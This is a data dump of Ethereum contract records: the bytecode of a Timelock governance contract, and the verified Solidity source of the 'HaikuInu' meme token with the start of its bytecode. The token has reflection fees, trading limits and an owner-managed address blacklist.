0x6080604052600436106100f75760003560e01c80636fc1f57e1161008a578063c1a287e211610059578063c1a287e2146106e9578063e177246e146106fe578063f2b0653714610728578063f851a44014610752576100fe565b80636fc1f57e146106565780637d645fab1461067f578063b1b43ae514610694578063b3ab15fb146106a9576100fe565b80634dd18bf5116100c65780634dd18bf51461048e578063570ca735146104ce578063591fcdfe146104e35780636a42b8f814610641576100fe565b80630825f38f146101035780630e18b681146102c957806326782247146102e05780633a66f9011461031e576100fe565b366100fe57005b600080fd5b610254600480360360a081101561011957600080fd5b73ffffffffffffffffffffffffffffffffffffffff8235169160208101359181019060608101604082013564010000000081111561015657600080fd5b82018360208201111561016857600080fd5b8035906020019184600183028401116401000000008311171561018a57600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092959493602081019350359150506401000000008111156101dd57600080fd5b8201836020820111156101ef57600080fd5b8035906020019184600183028401116401000000008311171561021157600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250610767915050565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561028e578181015183820152602001610276565b50505050905090810190601f1680156102bb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102d557600080fd5b506102de610daa565b005b3480156102ec57600080fd5b506102f5610e92565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b34801561032a57600080fd5b5061047c600480360360a081101561034157600080fd5b73ffffffffffffffffffffffffffffffffffffffff8235169160208101359181019060608101604082013564010000000081111561037e57600080fd5b82018360208201111561039057600080fd5b803590602001918460018302840111640100000000831117156103b257600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929594936020810193503591505064010000000081111561040557600080fd5b82018360208201111561041757600080fd5b8035906020019184600183028401116401000000008311171561043957600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250610eae915050565b60408051918252519081900360200190f35b34801561049a57600080fd5b506102de600480360360208110156104b157600080fd5b503573ffffffffffffffffffffffffffffffffffffffff1661122d565b3480156104da57600080fd5b506102f56113a6565b3480156104ef57600080fd5b506102de600480360360a081101561050657600080fd5b73ffffffffffffffffffffffffffffffffffffffff8235169160208101359181019060608101604082013564010000000081111561054357600080fd5b82018360208201111561055557600080fd5b8035906020019184600183028401116401000000008311171561057757600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092959493602081019350359150506401000000008111156105ca57600080fd5b8201836020820111156105dc57600080fd5b803590602001918460018302840111640100000000831117156105fe57600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955050913592506113c2915050565b34801561064d57600080fd5b5061047c6116b0565b34801561066257600080fd5b5061066b6116b6565b604080519115158252519081900360200190f35b34801561068b57600080fd5b5061047c6116bf565b3480156106a057600080fd5b5061047c6116c6565b3480156106b557600080fd5b506102de600480360360208110156106cc57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166116cc565b3480156106f557600080fd5b5061047c611799565b34801561070a57600080fd5b506102de6004803603602081101561072157600080fd5b50356117a0565b34801561073457600080fd5b5061066b6004803603602081101561074b57600080fd5b50356118e2565b34801561075e57600080fd5b506102f56118f7565b60005460609073ffffffffffffffffffffffffffffffffffffffff1633146107da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260388152602001806119936038913960400191505060405180910390fd5b60008686868686604051602001808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561084d578181015183820152602001610835565b50505050905090810190601f16801561087a5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b838110156108ad578181015183820152602001610895565b50505050905090810190601f1680156108da5780820380516001836020036101000a031916815260200191505b50604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081840301815291815281516020928301206000818152600590935291205490995060ff1697506109839650505050505050576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603d815260200180611b63603d913960400191505060405180910390fd5b8261098c611913565b10156109e3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526045815260200180611a776045913960600191505060405180910390fd5b6109f08362127500611917565b6109f8611913565b1115610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526033815260200180611a446033913960400191505060405180910390fd5b600081815260056020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001690558451606090610a93575083610b49565b85805190602001208560405160200180837bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260040182805190602001908083835b60208310610b1157805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe09092019160209182019101610ad4565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405290505b600060608973ffffffffffffffffffffffffffffffffffffffff1689846040518082805190602001908083835b60208310610bb357805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe09092019160209182019101610b76565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610c15576040519150601f19603f3d011682016040523d82523d6000602084013e610c1a565b606091505b509150915081610c75576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603d815260200180611c10603d913960400191505060405180910390fd5b8973ffffffffffffffffffffffffffffffffffffffff16847fa560e3198060a2f10670c1ec5b403077ea6ae93ca8de1c32b451dc1a943cd6e78b8b8b8b604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610cff578181015183820152602001610ce7565b50505050905090810190601f168015610d2c5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610d5f578181015183820152602001610d47565b50505050905090810190601f168015610d8c5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39998505050505050505050565b60015473ffffffffffffffffffffffffffffffffffffffff163314610e1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180611ba06038913960400191505060405180910390fd5b60008054337fffffffffffffffffffffffff0000000000000000000000000000000000000000918216178083556001805490921690915560405173ffffffffffffffffffffffffffffffffffffffff909116917f71614071b88dee5e0b2ae578a9dd7b2ebbe9ae832ba419dc0242cd065a290b6c91a2565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b6000805473ffffffffffffffffffffffffffffffffffffffff16331480610eec575060025473ffffffffffffffffffffffffffffffffffffffff1633145b610f41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526042815260200180611a026042913960600191505060405180910390fd5b610f55600354610f4f611913565b90611917565b821015610fad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526049815260200180611c4d6049913960600191505060405180910390fd5b60008686868686604051602001808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015611020578181015183820152602001611008565b50505050905090810190601f16801561104d5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015611080578181015183820152602001611068565b50505050905090810190601f1680156110ad5780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060016005600083815260200190815260200160002060006101000a81548160ff0219169083151502179055508673ffffffffffffffffffffffffffffffffffffffff16817f76e2796dc3a81d57b0e8504b647febcbeeb5f4af818e164f11eef8131a6a763f88888888604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561118557818101518382015260200161116d565b50505050905090810190601f1680156111b25780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b838110156111e55781810151838201526020016111cd565b50505050905090810190601f1680156112125780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39695505050505050565b60045460ff161561129557333014611290576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180611bd86038913960400191505060405180910390fd5b611331565b60005473ffffffffffffffffffffffffffffffffffffffff163314611305576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603b815260200180611af0603b913960400191505060405180910390fd5b600480547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660011790555b600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff83811691909117918290556040519116907f69d78e38a01985fbb1462961809b4b2d65531bc93b2b94037f3334b82ca4a75690600090a250565b60025473ffffffffffffffffffffffffffffffffffffffff1681565b60005473ffffffffffffffffffffffffffffffffffffffff163314611432576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260378152602001806119cb6037913960400191505060405180910390fd5b60008585858585604051602001808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156114a557818101518382015260200161148d565b50505050905090810190601f1680156114d25780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b838110156115055781810151838201526020016114ed565b50505050905090810190601f1680156115325780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060006005600083815260200190815260200160002060006101000a81548160ff0219169083151502179055508573ffffffffffffffffffffffffffffffffffffffff16817f2fffc091a501fd91bfbff27141450d3acb40fb8e6d8382b243ec7a812a3aaf8787878787604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561160a5781810151838201526020016115f2565b50505050905090810190601f1680156116375780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b8381101561166a578181015183820152602001611652565b50505050905090810190601f1680156116975780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a3505050505050565b60035481565b60045460ff1681565b62278d0081565b61a8c081565b333014611724576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526031815260200180611c966031913960400191505060405180910390fd5b600280547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff83811691909117918290556040519116907fda12ee837e6978172aaf54b16145ffe08414fd8710092ef033c71b8eb6ec189a90600090a250565b6212750081565b3330146117f8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526031815260200180611c966031913960400191505060405180910390fd5b61a8c0811015611853576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526034815260200180611abc6034913960400191505060405180910390fd5b62278d008111156118af576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180611b2b6038913960400191505060405180910390fd5b600381905560405181907f948b1f6a42ee138b7e34058ba85a37f716d55ff25ff05a763f15bed6a04c8d2c90600090a250565b60056020526000908152604090205460ff1681565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b4290565b60008282018381101561198b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a63616e63656c5472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e206f72206f70657261746f722e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206973207374616c652e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774207375727061737365642074696d65206c6f636b2e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d75737420657863656564206d696e696d756d2064656c61792e54696d656c6f636b3a3a73657450656e64696e6741646d696e3a2046697273742063616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d757374206e6f7420657863656564206d6178696d756d2064656c61792e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774206265656e207175657565642e54696d656c6f636b3a3a61636365707441646d696e3a2043616c6c206d75737420636f6d652066726f6d2070656e64696e6741646d696e2e54696d656c6f636b3a3a73657450656e64696e6741646d696e3a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e20657865637574696f6e2072657665727465642e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a20457374696d6174656420657865637574696f6e20626c6f636b206d75737420736174697366792064656c61792e54696d656c6f636b3a3a73657444656c61793a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2ea2646970667358221220c33e403aff7be2059682b2be63a9f5fce24efd3d096d9f3b570ea62adc5467c264736f6c634300060c0033
{"success": true, "error": null, "results": {}}
461
0x27afd898b98ccd7d4d193795363bf0a656dff7c7
/** *Submitted for verification at Etherscan.io on 2022-04-14 */ /** Meme coins plentiful Which one to pick you decide To the moon or dust */ pragma solidity ^0.8.10; // SPDX-License-Identifier: MIT abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract HaikuInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "HAIKU"; string private constant _symbol = "HAIKU"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0x5d6695a7b37465C83A156eD913742A70A69dD015); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 4; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 4; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1500000000 * 10**9; _maxWalletSize = 3000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb14610307578063b87f137a14610327578063c3c8cd8014610347578063c9567bf91461035c578063dd62ed3e1461037157600080fd5b806370a0823114610295578063715018a6146102b5578063751039fc146102ca5780638da5cb5b146102df57806395d89b411461012f57600080fd5b8063273123b7116100e7578063273123b714610204578063313ce567146102245780635932ead114610240578063677daa57146102605780636fc3eaec1461028057600080fd5b806306fdde031461012f578063095ea7b31461016c57806318160ddd1461019c5780631b3f71ae146101c257806323b872dd146101e457600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5060408051808201825260058152644841494b5560d81b6020820152905161016391906116e2565b60405180910390f35b34801561017857600080fd5b5061018c61018736600461175c565b6103b7565b6040519015158152602001610163565b3480156101a857600080fd5b5068056bc75e2d631000005b604051908152602001610163565b3480156101ce57600080fd5b506101e26101dd36600461179e565b6103ce565b005b3480156101f057600080fd5b5061018c6101ff366004611863565b61046d565b34801561021057600080fd5b506101e261021f3660046118a4565b6104d6565b34801561023057600080fd5b5060405160098152602001610163565b34801561024c57600080fd5b506101e261025b3660046118cf565b610521565b34801561026c57600080fd5b506101e261027b3660046118ec565b610569565b34801561028c57600080fd5b506101e26105c4565b3480156102a157600080fd5b506101b46102b03660046118a4565b6105f1565b3480156102c157600080fd5b506101e2610613565b3480156102d657600080fd5b506101e2610687565b3480156102eb57600080fd5b506000546040516001600160a01b039091168152602001610163565b34801561031357600080fd5b5061018c61032236600461175c565b6106c5565b34801561033357600080fd5b506101e26103423660046118ec565b6106d2565b34801561035357600080fd5b506101e2610727565b34801561036857600080fd5b506101e261075d565b34801561037d57600080fd5b506101b461038c366004611905565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103c4338484610ae1565b5060015b92915050565b6000546001600160a01b031633146104015760405162461bcd60e51b81526004016103f89061193e565b60405180910390fd5b60005b81518110156104695760016006600084848151811061042557610425611973565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806104618161199f565b915050610404565b5050565b600061047a848484610c05565b6104cc84336104c785604051806060016040528060288152602001611b04602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061100f565b610ae1565b5060019392505050565b6000546001600160a01b031633146105005760405162461bcd60e51b81526004016103f89061193e565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461054b5760405162461bcd60e51b81526004016103f89061193e565b600e8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105935760405162461bcd60e51b81526004016103f89061193e565b600081116105a057600080fd5b6105be60646105b868056bc75e2d6310000084611049565b906110cf565b600f5550565b600c546001600160a01b0316336001600160a01b0316146105e457600080fd5b476105ee81611111565b50565b6001600160a01b0381166000908152600260205260408120546103c89061114b565b6000546001600160a01b0316331461063d5760405162461bcd60e51b81526004016103f89061193e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106b15760405162461bcd60e51b81526004016103f89061193e565b68056bc75e2d63100000600f819055601055565b60006103c4338484610c05565b6000546001600160a01b031633146106fc5760405162461bcd60e51b81526004016103f89061193e565b6000811161070957600080fd5b61072160646105b868056bc75e2d6310000084611049565b60105550565b600c546001600160a01b0316336001600160a01b03161461074757600080fd5b6000610752306105f1565b90506105ee816111c8565b6000546001600160a01b031633146107875760405162461bcd60e51b81526004016103f89061193e565b600e54600160a01b900460ff16156107e15760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103f8565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561081e308268056bc75e2d63100000610ae1565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561085c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061088091906119ba565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f191906119ba565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561093e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061096291906119ba565b600e80546001600160a01b0319166001600160a01b03928316179055600d541663f305d7194730610992816105f1565b6000806109a76000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a0f573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a3491906119d7565b5050600e80546714d1120d7b160000600f556729a2241af62c000060105563ffff00ff60a01b198116630101000160a01b17909155600d5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610abd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104699190611a05565b6001600160a01b038316610b435760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103f8565b6001600160a01b038216610ba45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103f8565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c695760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103f8565b6001600160a01b038216610ccb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103f8565b60008111610d2d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103f8565b6000600a556004600b55610d496000546001600160a01b031690565b6001600160a01b0316836001600160a01b031614158015610d7857506000546001600160a01b03838116911614155b15610fff576001600160a01b03831660009081526006602052604090205460ff16158015610dbf57506001600160a01b03821660009081526006602052604090205460ff16155b610dc857600080fd5b600e546001600160a01b038481169116148015610df35750600d546001600160a01b03838116911614155b8015610e1857506001600160a01b03821660009081526005602052604090205460ff16155b8015610e2d5750600e54600160b81b900460ff165b15610f3257600f54811115610e845760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103f8565b60105481610e91846105f1565b610e9b9190611a22565b1115610ee95760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103f8565b6001600160a01b0382166000908152600760205260409020544211610f0d57600080fd5b610f1842601e611a22565b6001600160a01b0383166000908152600760205260409020555b600e546001600160a01b038381169116148015610f5d5750600d546001600160a01b03848116911614155b8015610f8257506001600160a01b03831660009081526005602052604090205460ff16155b15610f92576000600a556004600b555b6000610f9d306105f1565b600e54909150600160a81b900460ff16158015610fc85750600e546001600160a01b03858116911614155b8015610fdd5750600e54600160b01b900460ff165b15610ffd57610feb816111c8565b478015610ffb57610ffb47611111565b50